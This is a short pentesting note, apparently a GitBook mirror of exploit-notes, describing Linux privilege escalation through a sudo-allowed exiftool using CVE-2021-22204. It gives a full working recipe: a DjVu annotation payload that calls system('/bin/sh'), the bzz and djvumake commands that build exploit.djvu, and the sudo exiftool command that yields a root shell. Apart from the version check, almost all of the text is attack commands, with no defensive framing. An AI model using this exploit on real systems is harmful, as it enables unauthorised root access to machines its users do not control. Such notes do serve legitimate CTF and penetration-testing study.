> For the complete documentation index, see [llms.txt](https://morgan-bin-bash.gitbook.io/linux-privilege-escalation/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://morgan-bin-bash.gitbook.io/linux-privilege-escalation/sudo-exiftool-privilege-escalation.md).
# Sudo Exiftool Privilege Escalation
### [Investigation](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudo-exiftool-privilege-escalation/#investigation)
```sh
(root) NOPASSWD: /usr/local/bin/exiftool
Copied!
```
If we can execute **"exiftool"** command as root, we can gain access to privileges.
### [Arbitrary Code Execution (CVE-2021-22204) version 7.44+](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudo-exiftool-privilege-escalation/#arbitrary-code-execution-\(cve-2021-22204\)-version-7.44%2B)
Reference:
Check the exiftool version.\
If the exiftool version is later than **7.44**, we can execute arbitrary code.
```bash
exiftool -ver
Copied!
```
#### [Exploitation](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudo-exiftool-privilege-escalation/#exploitation)
In local machine, create the payload in a file named **“exploit”**.
```bash
(metadata "\c${system('/bin/sh')};")
Copied!
```
Next, compress the file.
```bash
bzz exploit exploit.bzz
Copied!
```
Then create the DjVu file using the compressed file.
```bash
sudo apt install -y djvulibre-bin
# INFO: Create the initial information chunk.
# BGjp: Create a JPEG background chunk.
# ANTz: Write the compressed annotation chunk with the input file.
djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=exploit.bzz
Copied!
```
Now we have **“exploit.djvu”** file.\
Trasfer the file to the target machine and run exiftool as root given the DjVufile.
```bash
sudo /usr/local/bin/exiftool exploit.djvu
Copied!
```
We should get a root shell.